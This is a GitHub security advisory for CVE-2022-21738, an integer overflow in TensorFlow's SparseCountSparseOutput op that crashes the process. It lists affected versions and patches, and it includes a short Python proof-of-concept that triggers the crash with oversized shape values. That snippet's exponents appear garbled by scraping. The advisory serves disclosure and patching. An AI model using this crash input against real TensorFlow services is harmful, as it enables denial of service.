GitHub Advisoryadvisory · PyPI
GHSA-x4qx-4fjv-hmw6 Integer overflow leading to crash in Tensorflow
HIGH
Official page ↗
- Aliases
- CVE-2022-21738
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-190
- Reviewed
- 2022-02-03
Affected packages
• PyPI tensorflow: < 2.5.3 → fixed in 2.5.3
• PyPI tensorflow: >= 2.6.0, < 2.6.3 → fixed in 2.6.3
• PyPI tensorflow: >= 2.7.0, < 2.7.1 → fixed in 2.7.1
• PyPI tensorflow-cpu: < 2.5.3 → fixed in 2.5.3
• PyPI tensorflow-cpu: >= 2.6.0, < 2.6.3 → fixed in 2.6.3
• PyPI tensorflow-cpu: >= 2.7.0, < 2.7.1 → fixed in 2.7.1
• PyPI tensorflow-gpu: < 2.5.3 → fixed in 2.5.3
• PyPI tensorflow-gpu: >= 2.6.0, < 2.6.3 → fixed in 2.6.3
• PyPI tensorflow-gpu: >= 2.7.0, < 2.7.1 → fixed in 2.7.1
Description
Impact
The implementation of `SparseCountSparseOutput` can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 31, 2 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
```
Patches
We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
Related
Alias · CVE (1)
- CVE-2022-21738 Tensorflow is an Open Source Machine Learning Framework. vulnerability
Weakness · CWE (1)
- CWE-190 Integer Overflow or Wraparound weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6 web
- https://nvd.nist.gov/vuln/detail/CVE-2022-21738 advisory
- https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-62.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-117.yaml web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273 web